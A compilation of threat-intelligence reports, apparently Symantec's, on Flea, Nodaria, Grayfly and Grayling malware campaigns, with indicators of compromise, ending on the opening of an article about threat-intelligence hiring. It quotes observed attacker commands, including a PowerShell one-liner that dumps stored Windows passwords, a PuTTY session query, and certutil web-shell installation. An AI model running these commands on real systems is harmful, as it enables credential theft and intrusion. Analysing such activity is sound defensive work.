This technique was used in a similar way by the Russian state-sponsored APT group Swallowtail (aka APT28, Fancy Bear, Sofacy, Strontium) in a campaign in 2022 in which it delivered the Graphite malware. In that campaign, the Graphite malware used the Microsoft Graph API and OneDrive as a C&C server.
The observed Graphican samples did not have a hardcoded C&C server, rather they connected to OneDrive via the Microsoft Graph API to get the encrypted C&C server address from a child folder inside the "Person" folder. The malware then decoded the folder name and used it as a C&C server for the malware. All instances of this variant used the same parameters to authenticate to the Microsoft Graph API. We can assume they all have the same C&C, which can be dynamically changed by the threat actors.
Once on a machine, Graphican does the following:
Disables the Internet Explorer 10 first run wizard and welcome page via registry keys
Checks if the iexplore.exe process is running
Creates a global IWebBrowser2 COM object to access the internet
Authenticates to the Microsoft Graph API to get a valid access token and a refresh_token
Using the Graph API it enumerates the child files and folders inside the “Person” folder in OneDrive
Obtains the name of the first folder and decrypts it to use it as a C&C server
Generates a Bot ID based on the hostname, local IP, Windows version, the system default language identifier, and the process bitness (32-bit or 64-bit) of the compromised machine
Registers the bot into the C&C with the format string "f$$$%s&&&%s&&&%s&&&%d&&&%ld&&&%s" or "f@@@%s###%s###%s###%d###%ld###%s" filled with the previously collected information from the victim’s computer
Polls C&C server for new commands to execute
Commands that can be executed by Graphican include:
'C' — Creates an interactive command line that is controlled from the C&C server
'U' — Creates a file on the remote computer
'D' — Downloads a file from the remote computer to the C&C server
'N' — Creates a new process with a hidden window
'P' — Creates a new PowerShell process with a hidden window and saves the results in a temporary file in the TEMP folder and sends the results to the C&C server
During the course of this campaign, we also observed an updated version of Ketrican, which had a hardcoded C&C server and only implemented the ‘C’, ‘U’, and ‘D’ commands. We also saw an older version of Ketrican (compiled in 2020) that implemented only the ‘N’ and ‘P’ commands. This demonstrates that the group is actively developing and adapting Ketrican to suit its objectives.
Other Tools
Other tools leveraged by Flea in this recent activity include:
EWSTEW — This is a known Flea backdoor that is used to extract sent and received emails on infected Microsoft Exchange servers. We saw new variants of this tool being used in this campaign.
Mimikatz, Pypykatz, Safetykatz — Mimikatz is a publicly available credential-dumping tool. It allows a local attacker to dump secrets from memory by exploiting Windows single sign-on functionality. Pupykatz and Safetykatz are Mimikatz variants with the same functionality.
Lazagne — A publicly available, open-source tool designed to retrieve passwords from multiple applications.
Quarks PwDump — Quarks PwDump is an open-source tool that can dump various types of Windows credentials: local accounts, domain accounts, and cached domain credentials. It was reported as being used in a campaign that Kaspersky called IceFog all the way back in 2013.
SharpSecDump — The .Net port of the remote SAM and LSA Secrets dumping functionality of Impacket's secretsdump.py.
K8Tools - This is a publicly available toolset with a wide variety of capabilities, including privilege escalation, password cracking, a scanning tool, and vulnerability utilization. It also contains exploits for numerous known vulnerabilities in various systems.
EHole — A publicly available tool that can help attackers identify vulnerable systems.
Web shells — The attackers use a number of publicly available web shells, including AntSword, Behinder, China Chopper, and Godzilla. Web shells provide a backdoor onto victim machines. Some of these web shells, such as China Chopper and Behinder, are associated with Chinese threat actors.
Exploit of CVE-2020-1472 — This is an elevation of privilege vulnerability that exists when an attacker establishes a vulnerable Netlogon secure channel connection to a domain controller, using the Netlogon Remote Protocol (MS-NRPC). An attacker who successfully exploits the vulnerability could run a specially crafted application on a device on the network. A patch has been available for this vulnerability since the first quarter of 2021.
Flea Background
Flea has been in operation since at least 2004. Over that time its tactics, techniques, and procedures (TTPs), as well as its targeting, have changed and developed. In recent years, the group has primarily focused on attacks against government organizations, diplomatic entities, and non-governmental organizations (NGOs) for the purposes of intelligence gathering. North and South America does appear to have become more of a focus for the group in recent times, which aligns with the targeting we saw in this campaign. The goal of the group does seem to be to gain persistent access to the networks of victims of interest for the purposes of intelligence gathering. Its targets in this campaign, of ministries of foreign affairs, also point to a likely geo-political motive behind the campaign.
Flea traditionally used email as an initial infection vector, but there have also been reports of it exploiting public-facing applications, as well as using VPNs, to gain initial access to victim networks.
Microsoft seized domains belonging to Flea in December 2021. The company seized 42 domains that it said were used in operations that targeted organizations in the U.S. and 28 other countries for intelligence-gathering purposes. Flea was also linked in a November 2022 report by Lookout to a long-running campaign targeting Uyghur-language websites and social media in China.
Flea is believed to be a large and well-resourced group, and it appears that exposure of its activity, and even takedowns such as that detailed by Microsoft, have failed to have a significant impact when it comes to stopping the group’s activity.
New Backdoor and Notable Technique
The use of a new backdoor by Flea shows that this group, despite its long years of operation, continues to actively develop new tools. The group has developed multiple custom tools over the years. The similarities in functionality between Graphican and the known Ketrican backdoor may indicate that the group is not very concerned about having activity attributed to it.
The most noteworthy thing about Graphican itself is the abuse of the Microsoft Graph API and OneDrive to obtain its C&C server. The fact that a similar technique was used by Swallowtail, an unconnected APT group operating out of a different region, is also worth noting. Once a technique is used by one threat actor, we often see other groups follow suit, so it will be interesting to see if this technique is something we see being adopted more widely by other APT groups and cyber criminals.
Flea’s targets — foreign ministries — are also interesting; though they do align with the targets the group has directed its activity at in the past. It appears the Flea’s interests remain similar to what they have been in recent years, even as its tools and techniques continue to evolve.
Protection
For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise
If an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.
IOC Description
SHA256 file hashes
4b78b1a3c162023f0c14498541cb6ae143fb01d8b50d6aa13ac302a84553e2d5 Backdoor.Graphican
a78cc475c1875186dcd1908b55c2eeaf1bcd59dedaff920f262f12a3a9e9bfa8 Backdoor.Graphican
02e8ea9a58c13f216bdae478f9f007e20b45217742d0fbe47f66173f1b195ef5 Backdoor.Graphican
617589fd7d1ea9a228886d2d17235aeb4a68fabd246d17427e50fb31a9a98bcd Backdoor.Ketrican
858818cd739a439ac6795ff2a7c620d4d3f1e5c006913daf89026d3c2732c253 Backdoor.Ketrican
fd21a339bf3655fcf55fc8ee165bb386fc3c0b34e61a87eb1aff5d094b1f1476 Backdoor.Ketrican
177c4722d873b78b5b2b92b12ae2b4d3b9f76247e67afd18e56d4e0c0063eecf Backdoor.Ketrican
8d2af0e2e755ffb2be1ea3eca41eebfcb6341fb440a1b6a02bfc965fe79ad56b Backdoor.Ketrican
f98bd4af4bc0e127ae37004c23c9d14aa4723943edb4622777da8c6dcf578286 Backdoor.Ketrican
865c18480da73c0c32a5ee5835c1cfd08fa770e5b10bc3fb6f8b7dce1f66cf48 Backdoor.Ketrican
d30ace69d406019c78907e4f796e99b9a0a51509b1f1c2e9b9380e534aaf5e30 Backdoor.Ketrican
bf4ed3b9a0339ef80a1af557d0f4e031fb4106a04b0f72c85f7f0ff0176ebb64 EWSTEW
5600a7f57e79acdf711b106ee1c360fc898ed914e6d1af3c267067c158a41db6 EWSTEW
f06692b482d39c432791acabb236f7d21895df6f76e0b83992552ab5f1b43c8d EWSTEW
af4a10cbe8c773d6b1cfb34be2455eb023fb1b0d6f0225396920808fefb11523 EWSTEW
548ce27996e9309e93bf0bd29c7871977530761b2c20fc7dc3e2c16c025eb7bc EWSTEW
9829c86fab4cbccb5168f98dcb076672dc6d069ddb693496b463ad704f31722e EWSTEW
18560596e61eae328e75f4696a3d620b95db929bc461e0b29955df06bc114051 Mimikatz
f6f57fc82399ef3759dcbc16b7a25343dea0b539332dacdf0ed289cc82e900db Mimikatz
df6a740b0589dbd058227d3fcab1f1a847b4aa73feab9a2c157af31d95e0356f Mimikatz
c559eb7e2068e39bd26167dd4dca3eea48e51ad0b2c7631f2ed6ffcba01fb819 Pypykatz
7d93862c021d56b4920cab5e6cb30a2d5fb21478e7158f104e520cc739a1678d Pypykatz
17a63ccd749def0417981c42b0765f7d56e6be3092a1f282b81619ca819f82ef Pypykatz
b42f9571d486a8aef5b36d72c1c8fff83f29cac2f9c61aece3ad70537d49b222 Safetykatz
bff65d615d1003bd22f17493efd65eb9ffbfe9a63668deebe09879982e5c6aa8 CVE-2020-1472
ed2f501408a7a6e1a854c29c4b0bc5648a6aa8612432df829008931b3e34bf56 Lazagne
e7a6997e32ca09e78682fc9152455edaa1f9ea674ec51aecd7707b1bbda37c2f Pwdump
07fc745c29db1e2db61089d8d46299078794d7127120d04c07e0a1ea6933a6df Pwdump
42379bb392751f6a94d08168835b67986c820490a6867c28a324a807c49eda3b Pwdump
a6cad2d0f8dc05246846d2a9618fc93b7d97681331d5826f8353e7c3a3206e86 Pwdump
e25cc57793f0226ff31568be1fce1e279d35746016fc086a6f67734d26e305a0 Pwdump
617af8e063979fe9ca43479f199cb17c7abeab7bfe904a2baf65708df8461f6d Pwdump
dc2423e21752f431ce3ad010ce41f56914e414f5a88fd3169e78d4cc08082f7b Pwdump
f653e93adf00cf2145d4bfa00153ae86905fe2c2d3c1f63e8f579e43b7069d51 Pwdump
65436d5646c2dbb61607ed466132302f8c87dab82251f9e3f20443d5370b7806 Hadmad
44c1c5c92771c0384182f72e9866d5fed4fda896d90c931fe8de363ed81106cf Hadmad
7fa350350fc1735a9b6f162923df8d960daffb73d6f5470df3c3317ae237a4e6 AntswordLoader
9a94483a4563228cb698173c1991c7cf90726c2c126a3ce74c66ba226040f760 BehinderWebshell
f4575af8f42a1830519895a294c98009ffbb44b20baa170a6b5e4a71fd9ba663 BehinderWebshell
2da9a09a14c52e3f3d8468af24607602cca13bc579af958be9e918d736418660 JSPWebshell
d21797e95b0003d5f1b41a155cced54a45cd22eec3f997e867c11f6173ee7337 PHPWebshell
31529b8b86d4b6a99d8f3b5f4b1f1b67f3c713c11b83b71d8df7d963275c5203 China Chopper
7d3f6188bfdde612acb17487da1b0b1aaaeb422adc9e13fd7eb61044bac7ae08 Sharpsecdump
2b60e49e85b21a439855b5cb43cf799c1fb3cc0860076d52e41d48d88487e6d8 Sharpsecdump
819d0b70a905ae5f8bef6c47423964359c2a90a168414f5350328f568e1c7301 K8Tools
7aa10e5c59775bfde81d27e63dfca26a1ec38065ddc87fe971c30d2b2b72d978 EHole
Network Indicators
172.104.244[.]187
50.116.3[.]164
www.beltsymd[.]org
www.cyclophilit[.]com
www.cyprus-villas[.]org
www.perusmartcity[.]com
www.verisims[.]com
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Graphiron: New Russian Information Stealing Malware Deployed Against Ukraine
Russia-linked Nodaria group has deployed a new threat designed to steal a wide range of information from infected computers.
The Nodaria espionage group (aka UAC-0056) is using a new piece of information stealing malware against targets in Ukraine. The malware (Infostealer.Graphiron) is written in Go and is designed to harvest a wide range of information from the infected computer, including system information, credentials, screenshots, and files.
The earliest evidence of Graphiron dates from October 2022. It continued to be used until at least mid-January 2023 and it is reasonable to assume that it remains part of the Nodaria toolkit.
Graphiron functionality
Graphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).
The downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.
Table 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific names
Process names
BurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg
If no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.
The downloader is configured to run just once. If it fails to download and install the payload it won’t make further attempts nor send a heartbeat.
Graphiron uses AES encryption with hardcoded keys. It creates temporary files with the ".lock" and ".trash" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe
The payload is capable of carrying out the following tasks:
Reads MachineGuid
Obtains the IP address from https://checkip.amazonaws.com
Retrieves the hostname, system info, and user info
Steals data from Firefox and Thunderbird
Steals private keys from MobaXTerm.
Steals SSH known hosts
Steals data from PuTTY
Steals stored passwords
Takes screenshots
Creates a directory
Lists a directory
Runs a shell command
Steals an arbitrary file
Password theft is carried out using the following PowerShell command:
[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() | % { $_.RetrievePassw
ord();$_} | Select UserName, Resource, Password | Format-Table –HideTableHeaders
The following command was used to export the list of PuTTY sessions:
"CSIDL_SYSTEM\reg.exe" query HKCU\Software\SimonTatham\Putty\Sessions
Similarity to older tools
Graphiron has some similarities with older Nodaria tools such as GraphSteel and GrimPlant, which were first discovered by CERT-UA. GraphSteel is designed to exfiltrate files along with system information and credentials stolen from the password vault using PowerShell. Graphiron has similar functionality but can exfiltrate much more, such as screenshots and SSH keys.
In addition to this, as with earlier malware, Graphiron communicates with the C&C server using port 443 and communications are encrypted using the AES cipher.
Table 2: Comparison between Graphiron and older Nodaria tools (GraphSteel and GrimPlant)
Malware Go version Internal name Obfuscation Libraries used
Infostealer.Graphiron 1.18 n/a yes jcmturner/aescts, buger/jsonparser, golang/protobuf, kbinani/screenshot, lxn/win, mattn/go-sqlite, tidwall/gjson, anmitsu/go-shlex
Downloader.Graphiron 1.18 n/a yes jcmturner/aescts
GraphSteel 1.16 Elephant no buger/jsonparser, aglyzov/charmap, denisbrodbeck/machineid, gorilla/websocket, jcmturner/aescts, matn/go-sqlite, tidwall/gjson
GrimPlant 1.16 Elephant no jcmturner/aescts, denisbrodbeck/machineid, golang/protobuf, kbinani/screenshot, lxn/win, anmitsu/go-shlex
Nodaria
Nodaria has been active since at least March 2021 and appears to be mainly involved in targeting organizations in Ukraine. There is also limited evidence to suggest that the group has been involved in attacks on targets in Kyrgyzstan. Third-party reporting has also linked the group to attacks on Georgia.
The group sprang to public attention when it was linked to the WhisperGate wiper attacks that hit multiple Ukrainian government computers and websites in January 2022. When WhisperGate was initially loaded onto a system, the malware would overwrite the portion of the hard drive responsible for launching the operating system when the machine is booted up with a ransom note demanding $10,000 in Bitcoin. However, this was just a decoy as the WhisperGate malware destroys data on an infected machine and it cannot be recovered, even if a ransom is paid.
The group’s usual infection vector is spear-phishing emails, which are then used to deliver a range of payloads to targets. Custom tools used by the group to date include:
Elephant Dropper: A dropper
Elephant Downloader: A downloader
SaintBot: A downloader
OutSteel: Information stealer
GrimPlant (aka Elephant Implant): Collects system information and maintains persistence
GraphSteel (aka Elephant Client): Information stealer
Like Graphiron, many of Nodaria’s earlier tools were written in Go. Graphiron appears to be the latest piece of malware authored by the same developers, likely in response to a need for additional functionality. While GraphSteel and GrimPlant used Go version 1.16, Graphiron uses version 1.18, confirming it is a more recent development.
While Nodaria was relatively unknown prior to the Russian invasion of Ukraine, the group’s high-level activity over the past year suggests that it is now one of the key players in Russia’s ongoing cyber campaigns against Ukraine.
Protection/Mitigation
For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise
If an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.
SHA-256:
0d0a675516f1ff9247f74df31e90f06b0fea160953e5e3bada5d1c8304cfbe63 — Downloader.Graphiron
878450da2e44f5c89ce1af91479b9a9491fe45211fee312354dfe69e967622db — Downloader.Graphiron
80e6a9079deffd6837363709f230f6ab3b2fe80af5ad30e46f6470a0c73e75a7 — Infostealer.Graphiron
eee1d29a425231d981efbc25b6d87fdb9ca9c0e4e3eb393472d5967f7649a1e6 — Infostealer.Graphiron
f0fd55b743a2e8f995820884e6e684f1150e7a6369712afe9edb57ffd09ad4c1 — Infostealer.Graphiron
f86db0c0880bb81dbfe5ea0b087c2d17fab7b8eefb6841d15916ae9442dd0cce — Infostealer.Graphiron
Network:
208.67.104[.]95 — C&C server
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Grayfly: Chinese Threat Actor Uses Newly-discovered Sidewalk Malware
Recent campaigns involved exploits against Exchange and MySQL servers. Group has heavy focus on telecoms sector.
Symantec, part of Broadcom Software, has linked the recently discovered Sidewalk backdoor to the China-linked Grayfly espionage group. The malware, which is related to the older Crosswalk backdoor (Backdoor.Motnug) has been deployed in recent Grayfly campaigns against a number of organizations in Taiwan, Vietnam, the United States, and Mexico. A feature of this recent campaign was that a large number of targets were in the telecoms sector. The group also attacked organizations in the IT, media, and finance sectors.
Sidewalk was recently documented by ESET, who attributed it to a new group it called SparklingGoblin, which it linked to the Winnti malware family. Symantec’s Threat Hunter Team has attributed Sidewalk to Grayfly, a longstanding Chinese espionage operation. Members of the group were indicted in the U.S. in 2020. The recent campaign involving Sidewalk suggests that Grayfly has been undeterred by the publicity surrounding the indictments.
Who are Grayfly?
Grayfly (aka GREF and Wicked Panda) is a targeted attack group that has been active since at least March 2017 using a custom backdoor known as Backdoor.Motnug (aka TOMMYGUN/CROSSWALK), a custom loader called Trojan.Chattak, Cobalt Strike (aka Trojan.Agentemis), and ancillary tools in its attacks.
Grayfly has been observed targeting a number of countries in Asia, Europe, and North America across a variety of industries, including food, financial, healthcare, hospitality, manufacturing, and telecommunications. In more recent activity, Grayfly has continued with its focus on telecommunications but has also been observed targeting organizations operating within the media, finance, and IT service provider sectors. Typically Grayfly targets publicly facing web servers to install web shells for initial intrusion, before spreading further within the network.
Once a network has been compromised, Grayfly may install its custom backdoors onto additional systems. These tools allow the attackers to have comprehensive remote access to the network and proxy connections allowing them to access hard-to-reach segments of a target's network.
Although sometimes labeled APT41, we consider Grayfly the espionage arm of APT41. Similarly, Symantec tracks other sub-groups of APT41 separately, such as Blackfly, its cyber-crime arm.
Sidewalk campaign
A characteristic of the recent campaign was that the group appeared to be particularly interested in attacking exposed Microsoft Exchange or MySQL servers. This suggests that the initial vector may be the exploit of multiple vulnerabilities against public-facing servers.
In at least one attack, the suspicious Exchange activity was followed by PowerShell commands used to install an unidentified web shell. Following this, the malicious backdoor was executed.
After the installation of the backdoor, the attackers deployed a custom version of the credential-dumping tool Mimikatz. This version of Mimikatz has been used previously in Grayfly attacks.
Victim case study
The first indication of attacker activity was identified at 20:39 local time, where a Base64-encoded PowerShell command was executed via a legitimate Exchange Server-related process. The command was used to execute certutil to decode and install a web shell:
>(^_certutil -decode -f C:\Windows\Temp\ImportContactList_-.aspx C:\Windows\Temp\ImportContactList.aspx;if((dir C:\Windows\Temp\ImportContactList.aspx).Length -eq 212){Remove-Item -Force C:\Windows\Temp\ImportContactList_*-*.aspx}*
Next, another Base64-encoded PowerShell command was executed. This command was used to move the web shell to the Exchange install path, accessible by the attackers – specifically the ClientAccess\ecp directory.
mv C:\Windows\Temp\ImportContactList.aspx $envExchangeInstallPath\ClientAccess\esp\ -Force
Several minutes later, a backdoor was executed via installutil.exe:
CSIDL_WINDOWS\microsoft.net\framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /ParentProc=none /U CSIDL_WINDOWS\microsoft.net\framework64\v4.0.30319\microsoft.webapi.config
Roughly an hour later, the attackers were observed executing a WMIC command in order to run a Windows batch file. This file was used to create a scheduled task to execute the backdoor and ensure persistence:
WMIC /NODE:"172.16.140.234" process call create "cmd.exe /c c:\users\public\schtask.bat"
Shortly after this, Mimikatz was executed to dump credentials:
sha2:b3eb783b017da32e33d19670b39eae0b11de8e983891dd4feb873d6e9333608d (Mimikatz) - csidl_system_drive\perflogs\ulsassx64.exe
After this point, no further activity was observed.
Indictments
Three Chinese men were indicted in the U.S. in 2020 for their involvement in attacks that involved Grayfly tools and tactics. At the time of the indictment, Jiang Lizhi, Qian Chuan, and Fu Qiang were based in the Chinese city of Chengdu and held senior positions in a company called Chengdu 404. The company describes itself as a network security specialist and claims to employ a team of white hat hackers who can perform penetration testing along with other security operations.
The indictment charged the men with involvement in attacks against over 100 different organizations in the U.S., South Korea, Japan, India, Taiwan, Hong Kong, Malaysia, Vietnam, India, Pakistan, Australia, the United Kingdom, Chile, Indonesia, Singapore, and Thailand. Jiang was said to have a “working relationship” with the Chinese Ministry of State Security which would provide him and his associates with a degree of state protection.
Likely to continue
Grayfly is a capable actor, likely to continue to pose a risk to organizations in Asia and Europe across a variety of industries, including telecommunications, finance, and media. It's likely this group will continue to develop and improve its custom tools to enhance evasion tactics along with using commodity tools such as publicly available exploits and web shells to assist in their attacks.
Protection/Mitigation
For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise
SHA256 Description Detection
1b5b37790b2029902d2d6db2da20da4d0d7846b20e32434f01b2d384eba0eded Sidewalk loader Trojan.Gen.MBT
b732bba813c06c1c92975b34eda400a84b5cc54a460eeca309dfecbe9b559bd4 Sidewalk loader Trojan.Gen.MBT
04f6fc49da69838f5b511d8f996dc409a53249099bd71b3c897b98ad97fd867c Sidewalk loader Trojan.Gen.MBT
25a7c1f94822dc61211de253ff0a5805a0eb83921126732a0d52b1f1967cf079 Sidewalk loader Trojan Horse
b3eb783b017da32e33d19670b39eae0b11de8e983891dd4feb873d6e9333608d Mimikatz Hacktool.Mimikatz
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Grayling: Previously Unseen Threat Actor Targets Multiple Organizations in Taiwan
Intelligence gathering is likely motive in campaign targeting a variety of sectors.
A previously unknown advanced persistent threat (APT) group used custom malware and multiple publicly available tools to target a number of organizations in the manufacturing, IT, and biomedical sectors in Taiwan.
A government agency located in the Pacific Islands, as well as organizations in Vietnam and the U.S., also appear to have been hit as part of this campaign. This activity began in February 2023 and continued until at least May 2023.
The Symantec Threat Hunter Team, part of Broadcom, has attributed this activity to a new group we are calling Grayling. This activity stood out due to the use by Grayling of a distinctive DLL sideloading technique that uses a custom decryptor to deploy payloads. The motivation driving this activity appears to be intelligence gathering.
Attacker Activity
There are indications that Grayling may exploit public facing infrastructure for initial access to victim machines. Web shell deployment was observed on some victim computers prior to DLL sideloading activity taking place. DLL sideloading is used to load a variety of payloads, including Cobalt Strike, NetSpy, and the Havoc framework.
The attackers take various actions once they gain initial access to victims’ computers, including escalating privileges, network scanning, and using downloaders.
Tactics, techniques, and procedures (TTPs) used by the attackers included:
Havoc: An open-source post-exploitation command-and-control framework that attackers began using towards the start of 2023, seemingly as an alternative to Cobalt Strike and similar tools. Havoc is able to carry out a variety of activities including executing commands, managing processes, downloading additional payloads, manipulating Windows tokens, and executing shellcode. Havoc is also notable for being cross-platform.
Cobalt Strike: An off-the-shelf tool that can be used to execute commands, inject other processes, elevate current processes, or impersonate other processes, and upload and download files. It ostensibly has legitimate uses as a penetration-testing tool but is invariably exploited by malicious actors.
NetSpy: A publicly available spyware tool.
Exploitation of CVE-2019-0803: An elevation of privilege vulnerability that exists in Windows when the Win32k component fails to properly handle objects in memory.
Active Directory discovery: Used to query Active Directory and help map the network.
Mimikatz: Publicly available credential-dumping tool.
Kill processes
Downloaders
Unknown payload downloaded from imfsb.ini
The typical attack chain in this activity appears to be DLL sideloading through exported API SbieDll_Hook. This leads to the loading of various tools, including a Cobalt Strike Stager that leads to Cobalt Strike Beacon, the Havoc framework, and NetSpy. The attackers were also seen loading and decrypting an unknown payload from imfsb.ini. An exploit for CVE-2019-0803 was also used in the course of this activity, while shellcode was also downloaded and executed.
Other post-exploitation activity performed by these attackers includes using kill processes to kill all processes listed in a file called processlist.txt, and downloading the publicly available credential-dumping tool Mimikatz.
Motivation
While we do not see data being exfiltrated from victim machines, the activity we do see and the tools deployed point to the motivation behind this activity being intelligence gathering. The sectors the victims operate in – manufacturing, IT, biomedical, and government – are also sectors that are most likely to be targeted for intelligence gathering rather than for financial reasons.
The use of custom techniques combined with publicly available tools is typical of the activity we see from APT groups these days, with threat actors often using publicly available or living-off-the-land tools in attempts to bypass security software and help their activity stay under the radar of defenders. Tools like Havoc and Cobalt Strike are also frequently used by attackers due to their wide array of capabilities. It is often easier for even skilled attackers to use existing tools like this than to develop custom tools of their own with similar capabilities. The use of publicly available tools can also make attribution of activity more difficult for investigators. The steps taken by the attackers, such as killing processes etc., also indicate that keeping this activity hidden was a priority for them.
We have not been able to definitively link Grayling to a specific geography, but the heavy targeting of Taiwanese organizations does indicate that they likely operate from a region with a strategic interest in Taiwan.
Protection/Mitigation
For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise
If an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.
File Indicators
SHA256 hashes:
da670d5acf3648b0deaecb64710ae2b7fc41fc6ae8ab8343a1415144490a9ae9 – Havoc framework
79b0e6cd366a15848742e26c3396e0b63338ead964710b6572a8582b0530db17 – Downloader
bf1665c949935f3a741cfe44ab2509ec3751b9384b9eda7fb31c12bfbb2a12ec – Downloader
c2a714831d8a7b0223631eda655ce62ff3c262d910c0a2ed67c5ca92ef4447e3 – Cobalt Strike Beacon
667624b10108137a889f0df8f408395ae332cc8d9ad550632a3501f6debc4f2c – Exploit for CVE-2019-0803
87a7e428d08ecc97201cc8f229877a6202545e562de231a7b4cab4d9b6bbc0f8 – Downloader
90de98fa17294d5c918865dfb1a799be80c8771df1dc0ec2be9d1c1b772d9cf0 – Loader
8b6c559cd145dca015f4fa06ef1c9cd2446662a1e62eb51ba2c86f4183231ed2 – Cobalt Strike Stager
d522bf1fb3b869887eaf54f6c0e52d90514d7635b3ff8a7fd2ce9f1d06449e2c – NetSpy
4fbe8b69f5c001d00bd39e4fdb3058c96ed796326d6e5e582610d67252d11aba – DLL file
9bad71077e322031c0cf7f541d64c3fed6b1dc7c261b0b994b63e56bc3215739 – NetSpy
f2aaedb17f96958c045f2911655bfe46f3db21a2de9b0d396936ef6e362fea1b – Downloader
525417bdd5cdd568605fdbd3dc153bcc20a4715635c02f4965a458c5d008eba9 – Downloader
23e5dfaf60c380837beaddaaa9eb550809cd995f2cda99e3fe4ca8b281d770ae – Downloader
6725e38cbb15698e957d50b8bc67bd66ece554bbf6bcb90e72eaf32b1d969e50 – Downloader
5ef2e36a53c681f6c64cfea16c2ca156cf468579cc96f6c527eca8024bfdc581 – Downloader 12924d7371310c49b1a215019621597926ef3c0b4649352e032a884750fab746 – Windump
ab09e8cac3f13dea5949e7a2eaf9c9f98d3e78f3db2f140c7d85118b9bc6125f
c76ba3eb764706a32013007c147309f0be19efff3e6a172393d72d46631f712e
245016ace30eda7650f6bb3b2405761a6a5ff1f44b94159792a6eb64ced023aa
4c44efc7d9f4cd71c43c6596c62b91740eb84b7eb9b8cf22c7034b75b5f432d9
e75f2cee98c4b068a2d9e7e77599998196fd718591d3fa23b8f684133d1715c3
f3e8f2ef4ad949a0ada037f52f4c0e6000d111a4ac813e64138f0ded865e6e31
971ab5d4f0ec58fa1db61622a735a51e14e70ee5d99ab3cd554e0070b248eb1f
f1764f8c6fc428237ffafeb08eb0503558c68c6ccf6f2510a2ef8c574ba347e0
c24b19e7ccd965dfeed553c94b093533e527c55d5adbc9f0e87815d477924be5
af26d07754c8d4d1cb88195f7dc53e2e4ebee382c5b84fc54a81ba1cee4d0889
1f15c3ae1ce442a67e3d01ed291604bfc1cb196454b717e4fb5ac52daa37ecce
7ea706d8da9d68e1214e30c6373713da3585df8a337bc64fcc154fc5363f5f1f
30130ea1ab762c155289a32db810168f59c3d37b69bcbedfd284c4a861d749d6
74cbde4d4b4ac4cae943831035bff90814fa54fd21c3a6a6ec16e7e3fb235f87
752018c117e07f5d58eed35622777e971a5f495184df1c25041ff525ca72acea
6a8c39e4c543e94f6e4901d0facee7793f932cd2351259d8054981cf2b4da814
803d0d07d64010b102413da61bbf7b4d378891e2a46848b88ef69ca9357e3721
7c1b20de1f170cfaf3e75ebc7e81860378e353c84469795a162cd3cfd7263ba2
a180e67fcaf2254b18eafdc95b83038e9a4385b1a5c2651651d9d288fa0500fe
de500875266fd18c76959839e8c6b075e4408dcbc0b620f7544f28978b852c1c
1ed1b6a06abbab98471d5af33e242acc76d17b41c6e96cce0938a05703b58b91
ba8a7af30e02bd45e3570de20777ab7c1eec4797919bfcd39dde681eb69b9faf
1b72410e8e6ef0eb3e0f950ec4ced1be0ee6ac0a9349c8280cd8d12cc00850f9
dcadcac4c57df4e31dd7094ae96657f54b22c87233e8277a2c40ba56eafcf548
d0e1724360e0ae11364d3ac0eb8518ecf5d859128d094e9241d8e6feb43a9f29
b19ccfa8bc75ce4cf29eb52d4afe79fe7c3819ac08b68bd87b35225a762112ba
6e5d840ddeedc3b691e11a286acd7b6c087a91af27c00044dd1d951da5893068
3acfe90afa3cbb974e219a5ab8a9ee8c933b397d1c1c97d6e12015726b109f1b
5ed10f2564cd60d02666637e9eac36db36f3a13906b851ec1207c7df620d8970
Network Indicators
Domain
d3ktcnc1w6pd1f.cloudfront[.]net
IP addresses
172.245.92[.]207
3.0.93[.]185
URLs
http://45.148.120[.]23:91/version.dll
http://45.148.120[.]23:91/vmtools.exe
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Great Threat Intelligence: Do’s and Don’ts
Top-notch threat intelligence is a non-negotiable requirement for building a sturdy cyber defense. But pulling together a great team takes time and effort. Shortcuts will cost more than you can imagine. Make sure you are ready.
You are the CEO or CISO of an organization and want to build a threat intelligence capability. Good decision. Now, get ready to roll up your sleeves.
When it comes to talent acquisition, the future success or failure of a new Threat Intelligence team rides on making the right personnel choices, starting by identifying someone to lead the effort.
How do you design the team? Who do you hire?
Often, this decision gets made based on seniority. Companies like to promote from within, or choose trusted colleagues. But intelligence is unlike anything else in the information security sector. While there may be a natural temptation to promote a great manager or top technician, that choice will almost certainly have unintended negative consequences.
Let’s be blunt: Appointing a leader who lacks the requisite knowledge of proper analytic tradecraft and standards will very likely produce flawed intelligence – and flawed intelligence is worse than no intelligence at all.
